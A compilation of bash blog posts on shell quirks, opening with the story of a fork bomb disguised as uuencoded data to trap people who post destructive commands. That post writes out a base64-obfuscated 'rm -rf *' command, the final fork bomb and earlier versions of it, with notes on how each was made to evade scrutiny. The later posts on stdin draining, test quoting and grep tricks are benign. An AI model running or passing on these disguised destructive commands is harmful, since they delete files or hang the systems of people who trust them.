Do not copy-paste anything from this article into your shell. You have been warned.

Some people make a cruel sport out of tricking newbies into running destructive shell commands.

Often, this takes the form of crudely obscured commands like this one, which will result in a rm -rf * being executed in the current directory, deleting everything:

$(echo cm0gLXJmICoK | base64 -d)

Years ago, I came across someone doing this, and decided to trick them back.

Now, I’m not enough of a jerk to trick anyone into deleting their files, but I’m more than willing to let wanna-be hackers fork bomb themselves.

I designed a fork bomb in such a way that even when people know it’s a destructive command, they still run it! At the risk of you doing the same, here it is:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

It looks like yet another crudely obscured command, but it’s not. It does not prey on unsuspecting newbies’ tendencies to run commands they don’t understand.

Instead, it targets people who are familiar with that kind of trick, who know it’s going to be destructive, and exploits their schadenfreude and curiosity.

For the previous command, such a person would remove the surrounding $(..) to find out what a victim would have been fooled into executing:

$ echo cm0gLXJmICoK | base64 -d
rm -rf *

But when they similarly modify this command to see what horror will befall the newbie stupid enough to run it:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

They’ll suddenly find their system slowing to a crawl until a forced reboot! As it turns out, they were the newbie all along.

You see, the eval (…dramatic pause…) was a decoy!

In fact, the uudecode, echo and $(..) were all just part of the act. They’re purely for misdirection, and don’t serve any functional purpose.

No decoding, execution or evaluation is required for the bomb to explode. Instead it’s set off by the simple expansion, in any context, of this argument:

"I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=="

Even most of this string is just for show, designed to make it look more like uuencoded data. Here it is with all the arbitrary characters replaced with underscores:

"____________`_____&r()(____&r{,______}&r{,_____});r`_________"

And here it’s written more cleanly:

" `r() ( r & r ); r` "

Now it’s your bog standard fork bomb in a command expansion.

---

I went through a few iterations designing this trap. The first one was this:

eval $(echo 'a2Vrf3xvcml'\ZW%3t`r()(r|r);r`2'6a2VrZQo=' | base64 -d)

It has the same basic form, but several problems:

• Base64 is pretty well known, and this clearly isn’t it
• It’s quite obvious from the quotes that the literal string stops and starts
• The fork bomb, r()(r|r);r really sticks out

base64 is almost entirely alphanumeric, e.g. bW9yZSBnYXJiYWdlIGhlcmUK, while uuencoded data (if you can even remember what it looks like), has a bunch of symbols that would obscure any embedded shell code: 1<V]M92!G87)B86=E(&AE<F4`. I broke up the long gibberish base64-ish strings with symbols to match.

For the quotes, I shoved it in simple double quotes and hoped no one would notice the amount of questionable characters put in an interpolated string.

For the bomb itself, I wanted to find a way to insert more gibberish, but without adding any spaces that attract the eyes. Making the string r longer would work, but the repetition would be noticeable.

The fix I ended up with was using brace expansion: foo.{jpg,png} expands to foo.jpg foo.png, and r{,foo} expands to r foo. This invokes r with an argument that the function ignores.

The second version was this:

eval $(echo "I<RA('1E<W3t`p&r()(rofl&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

The idea here was that rofl would be executed on every fork, filling the screen with “rofl: command not found” for some extra finesse, but I figured that such a recognizable word would attract attention and further scrutiny.

In the end, I arrived at the final version, and it was quite effective. Several people involved in the noob sniping sheepishly admitted that they fell for it.

I essentially forgot about it, but other people apparently didn’t. About a year later someone asked about it on SuperUser, where you can find an even better analysis.

And now you have the backstory as well.

If you’ve ever tried to use ssh, and similarly ffmpeg or mplayer, in a while read loop, you’ll have stumbled upon a surprising interaction: the loop mysteriously aborts after the first iteration!

The solution, using ssh -n or ssh < /dev/null, is quickly spoiled by ShellCheck (shellcheck this code online), but why stop there? Let’s take a deep dive into the technical details surrounding this issue.

Note that all numbers given here are highly tool and platform specific. They apply to GNU coreutils 8.26, Linux 4.9 and OpenSSH 7.4, as found on Debian in July, 2017. If you use a different platform, or even just sufficiently newer versions, and wish to repeat the experiments, you may have to follow the reasoning and update the numbers accordingly.

Anyways, to first demonstrate the problem, here’s a while read loop that runs a command for each line in a file:

while IFS= read -r host
do
  echo ssh "$host" uptime
done < hostlist.txt

It works perfectly and iterates over all lines in the file:

ssh localhost uptime
ssh 10.0.0.4 uptime
ssh 10.0.0.7 uptime

However, if we remove the echo and actually run ssh, it will stop after the first iteration with no warnings or errors:

 16:12:41 up 21 days,  4:24, 12 users,  load average: 0.00, 0.00, 0.00

Even uptime itself works fine, but ssh localhost uptime will stop after the first one, even though it runs the same command on the same machine.

Of course, applying the aforementioned fix, ssh -n or ssh < /dev/null solves the problem and gives the expected result:

16:14:11 up 21 days,  4:24, 12 users,  load average: 0.00, 0.00, 0.00
16:14:11 up 14 days,  6:59, 15 users,  load average: 0.00, 0.00, 0.00
01:14:13 up 73 days, 13:17,  8 users,  load average: 0.08, 0.15, 0.11

If we merely wanted to fix the problem though, we'd just have followed ShellCheck's advice from the start. Let's keep digging.

You see similar behavior if you try to use ffmpeg to convert media or mplayer to play it. However, now it's even worse: not only does it stop after one iteration, it may abort in the middle of the first one!

All other commands work fine -- even other converters, players and ssh-based commands like sox, vlc and scp. Why do certain commands fail?

The root of the problem is that when you pipe or redirect to a while read loop, you're not just redirecting to read but to the entire loop body. Everything in both condition and body will share the same file descriptor for standard input. Consider this loop:

while IFS= read -r line
do
  cat > rest
done < file.txt

First read will successfully read a line and start the first iteration. Then cat will read from the same input source, where read left off. It reads until EOF and exits, and the loop iterates. read again tries to read from the same input, which remains at EOF. This terminates the loop. In effect, the loop only iterated once.

The question remains, though: why do our three commands in particular drain stdin?

ffmpeg and mplayer are simple cases. They both accept keyboard controls from stdin.

While ffmpeg encodes a video, you can use '+' to make the process more verbose or 'c' to input filter commands. While mplayer plays a video, you can use 'space' to pause or 'm' to mute. The commands drain stdin while processing these keystrokes.

They both also share a shortcut to quit: they will stop abruptly if any of the input they read is a "q".

But why ssh? Shouldn't it mirror the behavior of the remote command? If uptime doesn't read anything, why should ssh localhost uptime?

The Unix process model has no good way to detect when a process wants input. Instead, ssh has to preemptively read data, send it over the wire, and have sshd offer it on a pipe to the process. If the process doesn't want it, there's no way to return the data to the FD from whence it came.

We get a toy version of the same problem with cat | uptime. Output in this case is the same as when using ssh localhost uptime:

 16:25:51 up 21 days,  4:34, 12 users,  load average: 0.16, 0.03, 0.01

In this case, cat will read from stdin and write to the pipe until the pipe's buffer is full, at which time it'll block until something reads. Using strace, we can see that GNU cat from coreutils 8.26 uses a 128KiB buffer -- more than Linux's current 64KiB pipe buffer -- so one 128KiB buffer is the amount of data we can expect to lose.

This implies that the loop doesn't actually abort. It will continue if there is still data left after 128KiB has been read from it. Let's try that:

{
  echo first
  for ((i=0; i < 16384; i++)); do echo "garbage"; done
  echo "second"
} > file

while IFS= read -r line
do
  echo "Read $line"
  cat | uptime > /dev/null
done < file

Here, we write 16386 lines to the file. "first", 16384 lines of "garbage", followed by "second". "garbage" + linefeed is 8 bytes, so 16384 of them make up exactly 128KiB. The file prevents any race conditions between producer and consumer.

Here's what we get:

Read first
Read second

If we add a single line additional line of "garbage", we'll see that instead. If we write one less, "second" disappears. In other words, the expected 128KiB of data were lost between iterations.

ssh has to do the same thing, but more: it has to read input, encrypt it, and transmit it over the wire. On the other side, sshd receives it, decrypts it, and feeds it into the pipe. Both sides work asynchronously in duplex mode, and one side can shut down the channel at any time.

If we use ssh localhost uptime we're racing to see how much data we can push before sshd notifies us that the command has already exited. The faster the computer and slower the roundtrip time, the more we can write. To avoid this and ensure deterministic results, we'll use sleep 5 instead of uptime from now on.

Here's one way of measuring how much data we write:

$ tee >(wc -c >&2) < /dev/zero | { sleep 5; }
65536

Of course, by showing how much it writes, it doesn't directly show how much sleep reads: the 65536 bytes here is the Linux pipe buffer size.

This is also not a general way to get exact measurements because it relies on buffers aligning perfectly. If nothing is reading from the pipe, you can successfully write two blocks of 32768 bytes, but only one block of 32769.

Fortunately, GNU tee currently uses a buffer size of 8192, so given 8 full reads, it will perfectly fill the 65536 byte pipe buffer. strace also reveals that ssh (OpenSSH 7.4) uses a buffer size of 16384, which is exactly 2x of tee and 1/4x of the pipe buffer, so they will all align nicely and give an accurate count.

Let's try it with ssh:

$ tee >(wc -c >&2) < /dev/zero | ssh localhost sleep 5
2228224 

As discussed, we'll subtract the pipe buffer, so we can surmise that 2162688 bytes has been read by ssh. We can verify this manually with strace if we want. But why 2162688?

On the other side, sshd has to feed this data into sleep through a pipe with no readers. That's another 65536. We're now left with 2097152 bytes. How can we account for these?

This number is in fact the OpenSSH transport layer's default window size for non-interactive channels!

Here's an excerpt from channels.h in the OpenSSH source code:

/* default window/packet sizes for tcp/x11-fwd-channel */
#define CHAN_SES_PACKET_DEFAULT	(32*1024)
#define CHAN_SES_WINDOW_DEFAULT	(64*CHAN_SES_PACKET_DEFAULT)

There it is: 64*32*1024 = 2097152.

If we adapt our previous example to use ssh anyhost sleep 5 and write "garbage"
(64*32*1024+65536)/8 = 270336 times, we can again game the buffers and cause our iterator to get exactly the lines we want:

{
  echo first
  for ((i=0; i < $(( (64*32*1024 + 65536) / 8)); i++)); do echo "garbage"; done
  echo "second"
} > file

while IFS= read -r line
do
  echo "Read $line"
  ssh localhost sleep 5
done < file

Again, this results in:

Read first
Read second

An entirely useless experiment of course, but pretty nifty!

There is a subreddit /r/nononoyes for videos of things that look like they’ll go horribly wrong, but amazingly turn out ok.

[ -z $var ] would belong there.

It’s a bash statement that tries to check whether the variable is empty, but it’s missing quotes. Most of the time, when dealing with variables that can be empty, this is a disaster.

Consider its opposite, [ -n $var ], for checking whether the variable is non-empty. With the same quoting bug, it becomes completely unusable:

Input Expected [ -n $var ] “” False True! “foo” True True “foo bar” True False!

These issues are due to a combination of word splitting and the fact that [ is not shell syntax but traditionally just an external binary with a funny name. See my previous post Why Bash is like that: Pseudo-syntax for more on that.

The evaluation of [ is defined in terms of the number of argument. The argument values have much less to do with it. Ignoring negation, here’s a simplified excerpt from POSIX test:

# Arguments Action Typical example 0 False [ ] 1 True if $1 is non-empty [ "$var" ] 2 Apply unary operator $1 to $2 [ -x "/bin/ls" ] 3 Apply binary operator $2 to $1 and $3 [ 1 -lt 2 ]

Now we can see why [ -n $var ] fails in two cases:

When the variable is empty and unquoted, it’s removed, and we pass 1 argument: the literal string “-n”. Since “-n” is not an empty string, it evaluates to true when it should be false.

When the variable contains foo bar and is unquoted, it’s split into two arguments, and so we pass 3: “-n”, “foo” and “bar”. Since “foo” is not a binary operator, it evaluates to false (with an error message) when it should be true.

Now let’s have a look at [ -z $var ]:

Input Expected [ -z $var ] Actual test “” True: is empty True 1 arg: is “-z” non-empty “foo” False: not empty False 2 args: apply -z to foo “foo bar” False: not empty False (error) 3 args: apply “foo’ to -z and bar

It performs a completely wrong and unexpected action for both empty strings and multiple arguments. However, both cases fail in exactly the right way!

In other words, [ -z $var ] works way better than it has any possible business doing.

This is not to say you can skip quoting of course. For “foo bar”, [ -z $var ] in bash will return the correct exit code, but prints an ugly error in the process. For ” ” (a string with only spaces), it returns true when it should be false, because the argument is removed as if empty. Bash will also incorrectly pass var="foo -o x" because it ends up being a valid test through code injection.

The moral of the story? Same as always: quote, quote quote. Even when things appear to work.

ShellCheck is aware of this difference, and you can check the code used here online. [ -n $var ] gets an angry red message, while [ -z $var ] merely gets a generic green quoting warning.

Bash can seem pretty random and weird at times, but most of what people see as quirks have very logical (if not very good) explanations behind them. This series of posts looks at some of them.

Let’s say you wanted to enforce a policy in which no files on the system could contain swearing. How would you write a script that checks it? Let’s use the word “damn”, and let’s write a script “checklanguage” that checks whether a file contains that word.

Our first version might be:

#!/usr/bin/env bash
grep -q "damn" "$@" 

The problem with this is that it triggers on itself: ./checklanguage checklanguage returns true. How can we write the script in such a way that it reliably detects the word, but doesn’t detect itself? (Think about it for a second).

There are many ways of doing this: a="da"; b="mn"; grep "$a$b", grep "da""mn", grep da\mn. All of these check for the four characters d-a-m-n in sequence, but doesn’t contain the sequence itself. These methods rely on two things being A. identical in one context (shell script) and B. different in another (plaintext).

This type of trick is the basis of three common command line hacks:

Finding processes from ps, while excluding the grep that does the filtering.

If we do a simple ps ax | grep processname, we might get output like this:

$ ps ax | grep processname
13003 pts/2    S      0:00 /bin/bash ./processname
13496 pts/4    R+     0:00 grep --color=auto processname

How do we get the same list, but without the grep process? You’ll see people wrapping the first character in square brackets:

$ ps ax | grep "[p]rocessname"
13003 pts/2    S      0:00 /bin/bash ./processname

In this case, the regex “[p]rocessname” is identical to the regex “processname”, but since they’re written differently, the latter matches itself while the former doesn’t. This means that the grep won’t match itself, and we only get the process we’re interested in (this job is better done by pgrep).

There is no syntax rule that says “if the first character is enclosed in square brackets, grep shall ignore itself in ps output”.

It’s just a logical side effect of rewriting the regex to work the same but not match itself. We could have used grep -E 'process()name' or grep -E 'proces{2}name' instead.

Running commands instead of aliases

Maybe you’re sick of Debian’s weird perl rename, and you aliased it to rename.ul instead.

$ rename -v .htm .html *
`foo.htm' -> `foo.html'

Yay, that’s way easier than writing regex! But what if we need to use the unaliased rename?

$ rename -v 's/([1-9])x([0-9]*)/S$1E$2/' *
rename.ul: not enough arguments

Instead, you’ll see people prefixing the command with a backslash:

$ \rename -v 's/([1-9])x([0-9]*)/S0$1E$2/' *
Foo_1x20.mkv renamed as Foo_S01E20.mkv

Shell aliases trigger when a command starts with a word. However, if the command starts with something that expands into a word, alias expansion does not apply. This allows us to use e.g. \ls or \git to run the command instead of the alias.

There is no syntax rule that says that “if a command is preceded by a backslash, alias expansion is ignored”.

It’s just a logical side effect of rewriting the command to work the same, but not start with a literal token that the shell will recognize as an alias. We could also have used l\s or 'ls'.

Deleting files starting with a dash

How would you go about deleting a file that starts with a dash?

$ rm -v -file
rm: invalid option -- 'l'

Instead, you’ll see people prefixing the filename with ./:

$ rm -v ./-file
removed `./-file'

A command will interpret anything that starts with a dash as a flag. However, to the file system, -file and ./-file mean exactly the same thing.

There is no syntax rule that says that “if an argument starts with ./, it shall be interpretted as a filename and not an option”.

It’s just a logical side effect of rewriting a filename to refer to the same file, but start with a different character. We could have used rm /home/me/-file or rm ../me/-file instead.

---

Homework: What do you tell someone who thinks that ./myscript is a perfect example of how weird UNIX is? Why would anyone design a system where the run command is “./” instead of “run”?

If you want to write an action game in bash, you need the ability to check for user input without actually waiting for it. While bash doesn’t let you poll the keyboard in a great way, it does let you wait for input for a miniscule amount of time with read -t 0.0001.

Here’s a snippet that demonstrates this by bouncing some text back and forth, and letting the user control position and color. It also sets (and unsets) the necessary terminal settings for this to look good:

#!/usr/bin/env bash

# Reset terminal on exit
trap 'tput cnorm; tput sgr0; clear' EXIT

# invisible cursor, no echo
tput civis
stty -echo

text="j/k to move, space to color"
max_x=$(($(tput cols) - ${#text}))
dir=1 x=1 y=$(($(tput lines)/2))
color=3

while sleep 0.05 # GNU specific!
do
    # move and change direction when hitting walls
    (( x == 0 || x == max_x )) && \
        ((dir *= -1))
    (( x += dir ))


    # read all the characters that have been buffered up
    while IFS= read -rs -t 0.0001 -n 1 key
    do
        [[ $key == j ]] && (( y++ ))
        [[ $key == k ]] && (( y-- ))
        [[ $key == " " ]] && color=$((color%7+1))
    done

    # batch up all terminal output for smoother action
    framebuffer=$(
        clear
        tput cup "$y" "$x"
        tput setaf "$color"
        printf "%s" "$text"
    )

    # dump to screen
    printf "%s" "$framebuffer"
done